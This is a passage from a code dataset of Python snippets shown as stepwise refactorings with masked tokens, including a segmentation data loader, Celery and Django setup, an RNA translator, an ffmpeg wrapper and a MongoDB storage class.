img_suffix) for\n bg_mask_path in self.bg_masks_path]\n ng_imgs_dir = os.path.join(train_dir, 'ng')\n self.ng_masks_path = [os.path.join(ng_imgs_dir, ng_img_name) for\n ng_img_name in os.listdir(ng_imgs_dir) if ng_img_name.endswith(\n mask_suffix)]\n self.ng_imgs_path = [ng_mask_path.replace(mask_suffix, img_suffix) for\n ng_mask_path in self.ng_masks_path]\n self.augmentation = augmentation\n self.preprocessing = preprocessing\n\n def __len__(self):\n return len(self.bg_masks_path) + len(self.ng_masks_path)\n\n def __getitem__(self, item):\n if np.random.random() > 0.5 and len(self.bg_masks_path) > 0:\n random_id_bg = np.random.randint(0, len(self.bg_imgs_path))\n img_path, mask_path = self.bg_imgs_path[random_id_bg\n ], self.bg_masks_path[random_id_bg]\n else:\n random_id_ng = np.random.randint(0, len(self.ng_imgs_path))\n img_path, mask_path = self.ng_imgs_path[random_id_ng\n ], self.ng_masks_path[random_id_ng]\n img = cv2.imread(img_path)\n mask = cv2.imread(mask_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n if self.augmentation:\n sample = self.augmentation(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n if self.preprocessing:\n sample = self.preprocessing(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n return img, mask\n", "step-5": "import os\nimport cv2\nimport numpy as np\nimport torch\nimport torch.utils.data\nimport torchvision\nfrom torchvision import transforms\nfrom utils.utils import loadYaml\nfrom .base_datalayer import BaseDataLayer\nimport albumentations as albu\n\n\nclass Datalayer(BaseDataLayer):\n\n def __init__(self, config, augmentation=None, preprocessing=None):\n super(Datalayer, self).__init__()\n self.config = config\n train_dir = self.config['Dataset']['TrainPath']\n\n bg_imgs_dir = os.path.join(train_dir, 'bg')\n\n mask_suffix = '_mask.png'\n img_suffix = '.png'\n self.bg_masks_path = [os.path.join(bg_imgs_dir, bg_mask_name) for bg_mask_name in os.listdir(bg_imgs_dir) if\n bg_mask_name.endswith(mask_suffix)]\n self.bg_imgs_path = [bg_mask_path.replace(mask_suffix, img_suffix) for bg_mask_path in self.bg_masks_path]\n\n ng_imgs_dir = os.path.join(train_dir, 'ng')\n self.ng_masks_path = [os.path.join(ng_imgs_dir, ng_img_name) for ng_img_name in os.listdir(ng_imgs_dir) if\n ng_img_name.endswith(mask_suffix)]\n self.ng_imgs_path = [ng_mask_path.replace(mask_suffix, img_suffix) for ng_mask_path in self.ng_masks_path]\n\n self.augmentation = augmentation\n self.preprocessing = preprocessing\n\n def __len__(self):\n return len(self.bg_masks_path) + len(self.ng_masks_path)\n\n def __getitem__(self, item):\n # bg\n if np.random.random() > 0.5 and len(self.bg_masks_path) > 0:\n random_id_bg = np.random.randint(0, len(self.bg_imgs_path))\n img_path, mask_path = self.bg_imgs_path[random_id_bg], self.bg_masks_path[random_id_bg]\n # ng\n else:\n random_id_ng = np.random.randint(0, len(self.ng_imgs_path))\n img_path, mask_path = self.ng_imgs_path[random_id_ng], self.ng_masks_path[random_id_ng]\n\n img = cv2.imread(img_path)\n mask = cv2.imread(mask_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n # apply augmentations\n if self.augmentation:\n sample = self.augmentation(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n # apply preprocessing\n if self.preprocessing:\n sample = self.preprocessing(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n return img, mask\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
print("""Hello world""") print("Hello again") print('Hello again')
normal
{ "blob_id": "fe82a46a7965b27729ff5bd61c1059416c96cae7", "index": 8015, "step-1": "<mask token>\n", "step-2": "print('Hello world')\nprint('Hello again')\nprint('Hello again')\n", "step-3": "print(\"\"\"Hello world\"\"\")\nprint(\"Hello again\")\nprint('Hello again')", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
def printall(s): for i in s: print i n=str(raw_input("Enter Word:- ")) printall(n)
normal
{ "blob_id": "de77fa677b3b200a41083e609d4da697f9e77f21", "index": 8726, "step-1": "def printall(s):\r\n for i in s:\r\n print i\r\n\r\nn=str(raw_input(\"Enter Word:- \"))\r\nprintall(n)\r\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
import os from celery import Celery import django from django.conf import settings from django.apps import apps os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'nightcrawler.settings') #celery_app = Celery('nightcrawler.tasks.keep_it', broker=settings.CELERY_BROKER_URL) celery_app = Celery('nightcrawler', broker=settings.CELERY_BROKER_URL) celery_app.config_from_object('django.conf:settings') celery_app.autodiscover_tasks(lambda: settings.INSTALLED_APPS) #celery_app.autodiscover_tasks() @celery_app.task(bind=True) def debug_task(self): print('Request: {0!r}'.format(self.request))
normal
{ "blob_id": "d4bc6bfe6bef730273db38f3c99352bbc3f48a5f", "index": 7604, "step-1": "<mask token>\n\n\n@celery_app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n", "step-2": "<mask token>\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'nightcrawler.settings')\n<mask token>\ncelery_app.config_from_object('django.conf:settings')\ncelery_app.autodiscover_tasks(lambda : settings.INSTALLED_APPS)\n\n\n@celery_app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n", "step-3": "<mask token>\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'nightcrawler.settings')\ncelery_app = Celery('nightcrawler', broker=settings.CELERY_BROKER_URL)\ncelery_app.config_from_object('django.conf:settings')\ncelery_app.autodiscover_tasks(lambda : settings.INSTALLED_APPS)\n\n\n@celery_app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n", "step-4": "import os\nfrom celery import Celery\nimport django\nfrom django.conf import settings\nfrom django.apps import apps\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'nightcrawler.settings')\ncelery_app = Celery('nightcrawler', broker=settings.CELERY_BROKER_URL)\ncelery_app.config_from_object('django.conf:settings')\ncelery_app.autodiscover_tasks(lambda : settings.INSTALLED_APPS)\n\n\n@celery_app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n", "step-5": "import os\nfrom celery import Celery\nimport django\nfrom django.conf import settings\nfrom django.apps import apps\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'nightcrawler.settings')\n\n#celery_app = Celery('nightcrawler.tasks.keep_it', broker=settings.CELERY_BROKER_URL)\ncelery_app = Celery('nightcrawler', broker=settings.CELERY_BROKER_URL)\ncelery_app.config_from_object('django.conf:settings')\n\ncelery_app.autodiscover_tasks(lambda: settings.INSTALLED_APPS)\n#celery_app.autodiscover_tasks()\n\n@celery_app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def index(request): return render(request, 'sau5081/sau5081.html') <|reserved_special_token_1|> from django.shortcuts import render from django.http import HttpResponse def index(request): return render(request, 'sau5081/sau5081.html') <|reserved_special_token_1|> from django.shortcuts import render from django.http import HttpResponse # Create your views here. def index(request): #return HttpRequest("Hi This is SAU5081 page.") return render(request, "sau5081/sau5081.html")
flexible
{ "blob_id": "ac1ac80739bed0cebf7a89a7d55e1b4fa6c68cdf", "index": 3428, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef index(request):\n return render(request, 'sau5081/sau5081.html')\n", "step-3": "from django.shortcuts import render\nfrom django.http import HttpResponse\n\n\ndef index(request):\n return render(request, 'sau5081/sau5081.html')\n", "step-4": "from django.shortcuts import render\nfrom django.http import HttpResponse\n\n\n# Create your views here.\ndef index(request):\n #return HttpRequest(\"Hi This is SAU5081 page.\")\n return render(request, \"sau5081/sau5081.html\")", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print('Original sequence: ', sequence, '\n') <|reserved_special_token_0|> print('Amino Sequence: ') while n < seqlength: codon = sequence[n:n + 3] for amino in aminotable: for i in range(len(amino) - 1): match = amino[i + 1] if codon == match: print(amino[0], end='-') break n += 3 print(""" End of program""") <|reserved_special_token_1|> aminotable = [['Ile', 'AUU', 'AUC', 'AUA'], ['Leu', 'CUU', 'CUC', 'CUA', 'CUG', 'UUA', 'UUG'], ['Val', 'GUU', 'GUC', 'GUA', 'GUG'], ['Phe', 'UUU', 'UUC'], ['Met', 'AUG'], ['Cys', 'UGU', 'UGC'], ['Ala', 'GCU', 'GCC', 'GCA', 'GCG'], ['Gly', 'GGU', 'GGC', 'GGA', 'GGG'], ['Pro', 'CCU', 'CCC', 'CCA', 'CCG'], ['Thr', 'ACU', 'ACC', 'ACA', 'ACG'], [ 'Ser', 'UCU', 'UCC', 'UCA', 'UCG', 'AGU', 'AGC'], ['Tyr', 'UAU', 'UAC'], ['Trp', 'UGG'], ['Gln', 'CAA', 'CAG'], ['Asn', 'AAU', 'AAC'], ['His', 'CAU', 'CAC'], ['Glu', 'GAA', 'GAG'], ['Asp', 'GAU', 'GAC'], ['Lys', 'AAA', 'AAG'], ['Arg', 'CGU', 'CGC', 'CGA', 'CGG', 'AGA', 'AGG'], [ 'Stop', 'UAA', 'UAG', 'UGA']] sequence = input(""" Enter RNA Sequence : """) print('Original sequence: ', sequence, '\n') n = 0 seqlength = len(sequence) print('Amino Sequence: ') while n < seqlength: codon = sequence[n:n + 3] for amino in aminotable: for i in range(len(amino) - 1): match = amino[i + 1] if codon == match: print(amino[0], end='-') break n += 3 print(""" End of program""") <|reserved_special_token_1|> aminotable = [ ['Ile' , 'AUU','AUC','AUA'], #0 ['Leu' , 'CUU','CUC','CUA','CUG','UUA','UUG'], #1 ['Val' , 'GUU','GUC','GUA','GUG'], #2 ['Phe' , 'UUU','UUC'], #3 ['Met' , 'AUG'], #4 ['Cys' , 'UGU','UGC'], #5 ['Ala' , 'GCU','GCC','GCA','GCG'], #6 ['Gly', 'GGU', 'GGC', 'GGA', 'GGG'], #7 ['Pro' , 'CCU', 'CCC', 'CCA', 'CCG'], #8 ['Thr' , 'ACU', 'ACC', 'ACA', 'ACG'], #9 ['Ser' , 'UCU', 'UCC', 'UCA', 'UCG', 'AGU', 'AGC'], #10 ['Tyr' , 'UAU', 'UAC'], #11 ['Trp' , 'UGG'], #12 ['Gln' , 'CAA', 'CAG'], #13 ['Asn' , 'AAU', 'AAC'], #14 ['His' , 'CAU', 'CAC'], #15 ['Glu' , 'GAA', 'GAG'], #16 ['Asp' , 'GAU', 'GAC'], #17 ['Lys', 'AAA', 'AAG'], #18 ['Arg' , 'CGU', 'CGC', 'CGA', 'CGG', 'AGA', 'AGG'], #19 ['Stop' , 'UAA', 'UAG', 'UGA'], #20 ] sequence = input("\nEnter RNA Sequence : ") print('Original sequence: ',sequence,'\n') n = 0 seqlength = len(sequence) print('Amino Sequence: ') while (n < seqlength): codon = sequence[n:n+3] for amino in aminotable: for i in range(len(amino) - 1): match = amino[i+1] if (codon == match) : print(amino[0], end = '-') break n += 3 print('\n\n\nEnd of program')
flexible
{ "blob_id": "d5a31e53444e2efa2eb972f1152b6d3e37d5ab79", "index": 5321, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('Original sequence: ', sequence, '\\n')\n<mask token>\nprint('Amino Sequence: ')\nwhile n < seqlength:\n codon = sequence[n:n + 3]\n for amino in aminotable:\n for i in range(len(amino) - 1):\n match = amino[i + 1]\n if codon == match:\n print(amino[0], end='-')\n break\n n += 3\nprint(\"\"\"\n\n\nEnd of program\"\"\")\n", "step-3": "aminotable = [['Ile', 'AUU', 'AUC', 'AUA'], ['Leu', 'CUU', 'CUC', 'CUA',\n 'CUG', 'UUA', 'UUG'], ['Val', 'GUU', 'GUC', 'GUA', 'GUG'], ['Phe',\n 'UUU', 'UUC'], ['Met', 'AUG'], ['Cys', 'UGU', 'UGC'], ['Ala', 'GCU',\n 'GCC', 'GCA', 'GCG'], ['Gly', 'GGU', 'GGC', 'GGA', 'GGG'], ['Pro',\n 'CCU', 'CCC', 'CCA', 'CCG'], ['Thr', 'ACU', 'ACC', 'ACA', 'ACG'], [\n 'Ser', 'UCU', 'UCC', 'UCA', 'UCG', 'AGU', 'AGC'], ['Tyr', 'UAU', 'UAC'],\n ['Trp', 'UGG'], ['Gln', 'CAA', 'CAG'], ['Asn', 'AAU', 'AAC'], ['His',\n 'CAU', 'CAC'], ['Glu', 'GAA', 'GAG'], ['Asp', 'GAU', 'GAC'], ['Lys',\n 'AAA', 'AAG'], ['Arg', 'CGU', 'CGC', 'CGA', 'CGG', 'AGA', 'AGG'], [\n 'Stop', 'UAA', 'UAG', 'UGA']]\nsequence = input(\"\"\"\nEnter RNA Sequence : \"\"\")\nprint('Original sequence: ', sequence, '\\n')\nn = 0\nseqlength = len(sequence)\nprint('Amino Sequence: ')\nwhile n < seqlength:\n codon = sequence[n:n + 3]\n for amino in aminotable:\n for i in range(len(amino) - 1):\n match = amino[i + 1]\n if codon == match:\n print(amino[0], end='-')\n break\n n += 3\nprint(\"\"\"\n\n\nEnd of program\"\"\")\n", "step-4": "aminotable = [\r\n ['Ile' , 'AUU','AUC','AUA'], #0\r\n ['Leu' , 'CUU','CUC','CUA','CUG','UUA','UUG'], #1\r\n ['Val' , 'GUU','GUC','GUA','GUG'], #2\r\n ['Phe' , 'UUU','UUC'], #3\r\n ['Met' , 'AUG'], #4\r\n ['Cys' , 'UGU','UGC'], #5\r\n ['Ala' , 'GCU','GCC','GCA','GCG'], #6\r\n ['Gly', 'GGU', 'GGC', 'GGA', 'GGG'], #7\r\n ['Pro' , 'CCU', 'CCC', 'CCA', 'CCG'], #8\r\n ['Thr' , 'ACU', 'ACC', 'ACA', 'ACG'], #9\r\n ['Ser' , 'UCU', 'UCC', 'UCA', 'UCG', 'AGU', 'AGC'], #10\r\n ['Tyr' , 'UAU', 'UAC'], #11\r\n ['Trp' , 'UGG'], #12\r\n ['Gln' , 'CAA', 'CAG'], #13\r\n ['Asn' , 'AAU', 'AAC'], #14\r\n ['His' , 'CAU', 'CAC'], #15\r\n ['Glu' , 'GAA', 'GAG'], #16\r\n ['Asp' , 'GAU', 'GAC'], #17\r\n ['Lys', 'AAA', 'AAG'], #18\r\n ['Arg' , 'CGU', 'CGC', 'CGA', 'CGG', 'AGA', 'AGG'], #19\r\n ['Stop' , 'UAA', 'UAG', 'UGA'], #20\r\n]\r\n\r\nsequence = input(\"\\nEnter RNA Sequence : \")\r\n\r\nprint('Original sequence: ',sequence,'\\n')\r\n\r\nn = 0\r\nseqlength = len(sequence)\r\n\r\nprint('Amino Sequence: ')\r\n\r\nwhile (n < seqlength):\r\n codon = sequence[n:n+3]\r\n for amino in aminotable:\r\n for i in range(len(amino) - 1):\r\n match = amino[i+1]\r\n if (codon == match) :\r\n print(amino[0], end = '-')\r\n break\r\n n += 3\r\n\r\nprint('\\n\\n\\nEnd of program')\r\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
""" Batch viewset Viewset to batch serializer """ # Django Rest Framework from rest_framework import viewsets # Inventory models from apps.inventory.models import Batch # Inventory serializers from apps.inventory.serializers import BatchSerializer class BatchViewSet(viewsets.ModelViewSet): """ Batch viewset CRUD views of the batch serializer """ queryset = Batch.objects.all() serializer_class = BatchSerializer def perform_destroy(self, instance): """ perform_destroy is used to performance a logic delete """ instance.is_active = not instance.is_active instance.save()
normal
{ "blob_id": "3d0fe0c11e62a03b4701efb19e1c15272ccc985e", "index": 3315, "step-1": "<mask token>\n\n\nclass BatchViewSet(viewsets.ModelViewSet):\n <mask token>\n <mask token>\n <mask token>\n\n def perform_destroy(self, instance):\n \"\"\"\n perform_destroy is used to performance a logic delete\n \"\"\"\n instance.is_active = not instance.is_active\n instance.save()\n", "step-2": "<mask token>\n\n\nclass BatchViewSet(viewsets.ModelViewSet):\n <mask token>\n queryset = Batch.objects.all()\n serializer_class = BatchSerializer\n\n def perform_destroy(self, instance):\n \"\"\"\n perform_destroy is used to performance a logic delete\n \"\"\"\n instance.is_active = not instance.is_active\n instance.save()\n", "step-3": "<mask token>\n\n\nclass BatchViewSet(viewsets.ModelViewSet):\n \"\"\"\n Batch viewset\n\n CRUD views of the batch serializer\n \"\"\"\n queryset = Batch.objects.all()\n serializer_class = BatchSerializer\n\n def perform_destroy(self, instance):\n \"\"\"\n perform_destroy is used to performance a logic delete\n \"\"\"\n instance.is_active = not instance.is_active\n instance.save()\n", "step-4": "<mask token>\nfrom rest_framework import viewsets\nfrom apps.inventory.models import Batch\nfrom apps.inventory.serializers import BatchSerializer\n\n\nclass BatchViewSet(viewsets.ModelViewSet):\n \"\"\"\n Batch viewset\n\n CRUD views of the batch serializer\n \"\"\"\n queryset = Batch.objects.all()\n serializer_class = BatchSerializer\n\n def perform_destroy(self, instance):\n \"\"\"\n perform_destroy is used to performance a logic delete\n \"\"\"\n instance.is_active = not instance.is_active\n instance.save()\n", "step-5": "\"\"\"\nBatch viewset\n\nViewset to batch serializer\n\"\"\"\n\n# Django Rest Framework\nfrom rest_framework import viewsets\n\n# Inventory models\nfrom apps.inventory.models import Batch\n\n# Inventory serializers\nfrom apps.inventory.serializers import BatchSerializer\n\n\nclass BatchViewSet(viewsets.ModelViewSet):\n \"\"\"\n Batch viewset\n\n CRUD views of the batch serializer\n \"\"\"\n queryset = Batch.objects.all()\n serializer_class = BatchSerializer\n\n def perform_destroy(self, instance):\n \"\"\"\n perform_destroy is used to performance a logic delete\n \"\"\"\n instance.is_active = not instance.is_active\n instance.save()\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
import logging from subprocess import Popen, PIPE from .exceptions import VideoEncodingError, WrongVideoTypeError # TODO: Create a switchable encoding engine. logger = logging.getLogger('video.encoding') cmd_ffmpeg = [ 'ffmpeg', '-i', ] cmd_mp4 = [ '-vf', 'scale=640:360', '-vcodec', 'h264', '-acodec', 'aac', '-y', ] cmd_webm = [ '-vf', 'scale=640:360', '-c:v', 'libvpx-vp9', '-pix_fmt', 'yuv420p', '-y', ] # cmd_webm = [ # '-c:v' # '-vf', 'scale=640:360', # '-vcodec', 'libvpx', # '-acodec', 'libvorbis', # '-y', # ] cmd_jpg = [ '-frames', '1', '-s', '640x360', '-ss', '1', '-y', ] codecs = { 'jpg': cmd_jpg, 'mp4': cmd_mp4, 'webm': cmd_webm, } def _run_cmd(cmds): try: return Popen( cmds, shell=False, close_fds=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, ) except OSError as ex: raise VideoEncodingError('Video running error.') from ex def encode_video_file(src_filname, dst_filename, file_type): logger.info( 'Source file: %s, Destination file: %s, File Type: %s', src_filname, dst_filename, file_type ) try: cmd = codecs[file_type] except IndexError: raise WrongVideoTypeError('Wrong video type.') process = _run_cmd( cmd_ffmpeg + [src_filname] + cmd + [dst_filename], ) # TODO: timeout handling here. stdout, stderr = process.communicate() returncode = process.returncode if returncode != 0: logger.error( 'ffmpeg returncode %d, args: %s, output: %s', returncode, process.args, stderr.decode(), ) raise VideoEncodingError('Video encoding error.') return returncode
normal
{ "blob_id": "163475bbe8a5b6eb161e2bb7e9b9a9a3ea0879d2", "index": 8138, "step-1": "<mask token>\n\n\ndef encode_video_file(src_filname, dst_filename, file_type):\n logger.info('Source file: %s, Destination file: %s, File Type: %s',\n src_filname, dst_filename, file_type)\n try:\n cmd = codecs[file_type]\n except IndexError:\n raise WrongVideoTypeError('Wrong video type.')\n process = _run_cmd(cmd_ffmpeg + [src_filname] + cmd + [dst_filename])\n stdout, stderr = process.communicate()\n returncode = process.returncode\n if returncode != 0:\n logger.error('ffmpeg returncode %d, args: %s, output: %s',\n returncode, process.args, stderr.decode())\n raise VideoEncodingError('Video encoding error.')\n return returncode\n", "step-2": "<mask token>\n\n\ndef _run_cmd(cmds):\n try:\n return Popen(cmds, shell=False, close_fds=True, stdin=PIPE, stdout=\n PIPE, stderr=PIPE)\n except OSError as ex:\n raise VideoEncodingError('Video running error.') from ex\n\n\ndef encode_video_file(src_filname, dst_filename, file_type):\n logger.info('Source file: %s, Destination file: %s, File Type: %s',\n src_filname, dst_filename, file_type)\n try:\n cmd = codecs[file_type]\n except IndexError:\n raise WrongVideoTypeError('Wrong video type.')\n process = _run_cmd(cmd_ffmpeg + [src_filname] + cmd + [dst_filename])\n stdout, stderr = process.communicate()\n returncode = process.returncode\n if returncode != 0:\n logger.error('ffmpeg returncode %d, args: %s, output: %s',\n returncode, process.args, stderr.decode())\n raise VideoEncodingError('Video encoding error.')\n return returncode\n", "step-3": "<mask token>\nlogger = logging.getLogger('video.encoding')\ncmd_ffmpeg = ['ffmpeg', '-i']\ncmd_mp4 = ['-vf', 'scale=640:360', '-vcodec', 'h264', '-acodec', 'aac', '-y']\ncmd_webm = ['-vf', 'scale=640:360', '-c:v', 'libvpx-vp9', '-pix_fmt',\n 'yuv420p', '-y']\ncmd_jpg = ['-frames', '1', '-s', '640x360', '-ss', '1', '-y']\ncodecs = {'jpg': cmd_jpg, 'mp4': cmd_mp4, 'webm': cmd_webm}\n\n\ndef _run_cmd(cmds):\n try:\n return Popen(cmds, shell=False, close_fds=True, stdin=PIPE, stdout=\n PIPE, stderr=PIPE)\n except OSError as ex:\n raise VideoEncodingError('Video running error.') from ex\n\n\ndef encode_video_file(src_filname, dst_filename, file_type):\n logger.info('Source file: %s, Destination file: %s, File Type: %s',\n src_filname, dst_filename, file_type)\n try:\n cmd = codecs[file_type]\n except IndexError:\n raise WrongVideoTypeError('Wrong video type.')\n process = _run_cmd(cmd_ffmpeg + [src_filname] + cmd + [dst_filename])\n stdout, stderr = process.communicate()\n returncode = process.returncode\n if returncode != 0:\n logger.error('ffmpeg returncode %d, args: %s, output: %s',\n returncode, process.args, stderr.decode())\n raise VideoEncodingError('Video encoding error.')\n return returncode\n", "step-4": "import logging\nfrom subprocess import Popen, PIPE\nfrom .exceptions import VideoEncodingError, WrongVideoTypeError\nlogger = logging.getLogger('video.encoding')\ncmd_ffmpeg = ['ffmpeg', '-i']\ncmd_mp4 = ['-vf', 'scale=640:360', '-vcodec', 'h264', '-acodec', 'aac', '-y']\ncmd_webm = ['-vf', 'scale=640:360', '-c:v', 'libvpx-vp9', '-pix_fmt',\n 'yuv420p', '-y']\ncmd_jpg = ['-frames', '1', '-s', '640x360', '-ss', '1', '-y']\ncodecs = {'jpg': cmd_jpg, 'mp4': cmd_mp4, 'webm': cmd_webm}\n\n\ndef _run_cmd(cmds):\n try:\n return Popen(cmds, shell=False, close_fds=True, stdin=PIPE, stdout=\n PIPE, stderr=PIPE)\n except OSError as ex:\n raise VideoEncodingError('Video running error.') from ex\n\n\ndef encode_video_file(src_filname, dst_filename, file_type):\n logger.info('Source file: %s, Destination file: %s, File Type: %s',\n src_filname, dst_filename, file_type)\n try:\n cmd = codecs[file_type]\n except IndexError:\n raise WrongVideoTypeError('Wrong video type.')\n process = _run_cmd(cmd_ffmpeg + [src_filname] + cmd + [dst_filename])\n stdout, stderr = process.communicate()\n returncode = process.returncode\n if returncode != 0:\n logger.error('ffmpeg returncode %d, args: %s, output: %s',\n returncode, process.args, stderr.decode())\n raise VideoEncodingError('Video encoding error.')\n return returncode\n", "step-5": "import logging\n\nfrom subprocess import Popen, PIPE\nfrom .exceptions import VideoEncodingError, WrongVideoTypeError\n\n# TODO: Create a switchable encoding engine.\n\nlogger = logging.getLogger('video.encoding')\n\ncmd_ffmpeg = [\n 'ffmpeg',\n '-i',\n]\n\ncmd_mp4 = [\n '-vf', 'scale=640:360',\n '-vcodec', 'h264',\n '-acodec', 'aac',\n '-y',\n]\n\ncmd_webm = [\n '-vf', 'scale=640:360',\n '-c:v', 'libvpx-vp9',\n '-pix_fmt', 'yuv420p',\n '-y',\n]\n\n# cmd_webm = [\n# '-c:v'\n# '-vf', 'scale=640:360',\n# '-vcodec', 'libvpx',\n# '-acodec', 'libvorbis',\n# '-y',\n# ]\n\ncmd_jpg = [\n '-frames', '1',\n '-s', '640x360',\n '-ss', '1',\n '-y',\n]\n\ncodecs = {\n 'jpg': cmd_jpg,\n 'mp4': cmd_mp4,\n 'webm': cmd_webm,\n}\n\n\ndef _run_cmd(cmds):\n\n try:\n return Popen(\n cmds,\n shell=False,\n close_fds=True,\n stdin=PIPE,\n stdout=PIPE,\n stderr=PIPE,\n )\n except OSError as ex:\n raise VideoEncodingError('Video running error.') from ex\n\n\ndef encode_video_file(src_filname, dst_filename, file_type):\n\n logger.info(\n 'Source file: %s, Destination file: %s, File Type: %s',\n src_filname, dst_filename, file_type\n )\n\n try:\n cmd = codecs[file_type]\n except IndexError:\n raise WrongVideoTypeError('Wrong video type.')\n\n process = _run_cmd(\n cmd_ffmpeg + [src_filname] + cmd + [dst_filename],\n )\n\n # TODO: timeout handling here.\n stdout, stderr = process.communicate()\n\n returncode = process.returncode\n\n if returncode != 0:\n logger.error(\n 'ffmpeg returncode %d, args: %s, output: %s',\n returncode,\n process.args,\n stderr.decode(),\n )\n raise VideoEncodingError('Video encoding error.')\n\n return returncode\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
# vim:sw=4 ts=4 et: # Copyright (c) 2015 Torchbox Ltd. # tomasz.knapik@torchbox.com 2017-12-07 # # Permission is granted to anyone to use this software for any purpose, # including commercial applications, and to alter it and redistribute it # freely. This software is provided 'as-is', without any express or implied # warranty. # from django import forms from .utils import render_markdown from .widgets import MarkdownTextarea try: from wagtail.core.blocks import TextBlock except ImportError: from wagtail.wagtailcore.blocks import TextBlock class MarkdownBlock(TextBlock): def __init__(self, required=True, help_text=None, **kwargs): self.field = forms.CharField( required=required, help_text=help_text, widget=MarkdownTextarea() ) super(MarkdownBlock, self).__init__(**kwargs) def render_basic(self, value, context=None): return render_markdown(value, context)
normal
{ "blob_id": "6f271e6cfb03977d52c50562c3c394b962c9af83", "index": 7538, "step-1": "<mask token>\n\n\nclass MarkdownBlock(TextBlock):\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass MarkdownBlock(TextBlock):\n\n def __init__(self, required=True, help_text=None, **kwargs):\n self.field = forms.CharField(required=required, help_text=help_text,\n widget=MarkdownTextarea())\n super(MarkdownBlock, self).__init__(**kwargs)\n\n def render_basic(self, value, context=None):\n return render_markdown(value, context)\n", "step-3": "<mask token>\ntry:\n from wagtail.core.blocks import TextBlock\nexcept ImportError:\n from wagtail.wagtailcore.blocks import TextBlock\n\n\nclass MarkdownBlock(TextBlock):\n\n def __init__(self, required=True, help_text=None, **kwargs):\n self.field = forms.CharField(required=required, help_text=help_text,\n widget=MarkdownTextarea())\n super(MarkdownBlock, self).__init__(**kwargs)\n\n def render_basic(self, value, context=None):\n return render_markdown(value, context)\n", "step-4": "from django import forms\nfrom .utils import render_markdown\nfrom .widgets import MarkdownTextarea\ntry:\n from wagtail.core.blocks import TextBlock\nexcept ImportError:\n from wagtail.wagtailcore.blocks import TextBlock\n\n\nclass MarkdownBlock(TextBlock):\n\n def __init__(self, required=True, help_text=None, **kwargs):\n self.field = forms.CharField(required=required, help_text=help_text,\n widget=MarkdownTextarea())\n super(MarkdownBlock, self).__init__(**kwargs)\n\n def render_basic(self, value, context=None):\n return render_markdown(value, context)\n", "step-5": "# vim:sw=4 ts=4 et:\n# Copyright (c) 2015 Torchbox Ltd.\n# tomasz.knapik@torchbox.com 2017-12-07\n#\n# Permission is granted to anyone to use this software for any purpose,\n# including commercial applications, and to alter it and redistribute it\n# freely. This software is provided 'as-is', without any express or implied\n# warranty.\n#\nfrom django import forms\n\nfrom .utils import render_markdown\nfrom .widgets import MarkdownTextarea\n\ntry:\n from wagtail.core.blocks import TextBlock\nexcept ImportError:\n from wagtail.wagtailcore.blocks import TextBlock\n\n\nclass MarkdownBlock(TextBlock):\n def __init__(self, required=True, help_text=None, **kwargs):\n self.field = forms.CharField(\n required=required, help_text=help_text, widget=MarkdownTextarea()\n )\n super(MarkdownBlock, self).__init__(**kwargs)\n\n def render_basic(self, value, context=None):\n return render_markdown(value, context)\n", "step-ids": [ 1, 3, 4, 5, 6 ] }
[ 1, 3, 4, 5, 6 ]
from yama.record import Record class MongoStorage(object): _collection = None _connection = None _root_id = None _roots = None def __init__(self, connection): self._connection = connection self._collection = connection.objects self._roots = connection.roots root_doc = self._roots.find_one() if root_doc is None: self._root_id = self._roots.save({'list': []}) else: self._root_id = root_doc['_id'] def add_to_roots(self, container_id): self._roots.update({'_id': self._root_id}, {'$push': {'list': container_id}}) def store_new_item(self, doc): """Save the new document.""" self._collection.save(doc.document) def store_child(self, child_id, parent_id): self._collection.update({'_id': parent_id}, {'$push': {'contents': child_id}}) def get_root_ids(self): return self._roots.find_one(self._root_id)['list'] def load_one_item(self, item_id): return Record.from_document(self._collection.find_one(item_id)) def load_many_items(self, item_ids): query = {'_id': {'$in': item_ids}} results = dict((d['_id'], Record.from_document(d)) for d in self. _collection.find(query)) return (results[i] for i in item_ids)
normal
